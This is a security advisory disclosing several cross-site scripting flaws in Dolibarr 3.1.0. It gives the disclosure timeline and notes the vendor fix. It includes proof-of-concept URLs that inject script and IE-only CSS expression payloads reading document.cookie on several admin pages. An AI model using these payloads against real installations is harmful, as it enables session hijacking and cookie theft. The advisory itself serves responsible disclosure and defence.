Advisory: Multiple Cross-Site-Scripting vulnerabilities in Dolibarr 3.1.0
Advisory ID: INFOSERVE-ADV2011-03
Author: Stefan Schurtz
Contact: security (at) infoserve (dot) de [email concealed]
Affected Software: Successfully tested on Dolibarr 3.1.0 other versions may also be affected
Vendor URL: http://www.dolibarr.org/
Vendor Status: fixed in the 3.1 branch

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Vulnerability Description
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Dolibarr 3.1.0 is prone to multiple XSS vulnerability

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PoC-Exploit
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Cross-Site-Scripting - parameter 'username'

http://<target>/admin/company.php?mainmenu=home&leftmenu=setup&username=
'"</script><script>alert(document.cookie)</script>
http://<target>/admin/company.php?mainmenu=home&leftmenu=setup&username=
'"</script><script>alert(document.cookie)</script>&=3&optioncss=print

IE-only

http://<target>/admin/security_other.php/" stYle="x:expre/**/ssion(alert(document.cookie))
http://<target>/admin/events.php/" stYle="x:expre/**/ssion(alert(document.cookie))
http://<target>/admin/user.php/" stYle="x:expre/**/ssion(alert(document.cookie))

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Solution:
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Fixed in the 3.1 branch

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Disclosure Timeline:
====================

08-Nov-2011 - vendor informed
09-Nov-2011 - vendor fix in the 3.1 branch

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Credits:
========

Vulnerabilities found and advisory written by INFOSERVE Security Team

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References:
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https://doliforge.org/tracker/?func=detail&aid=232&group_id=144
https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e35
44a4207e78a1
http://www.dolibarr.org/
http://www.infoserve.de/

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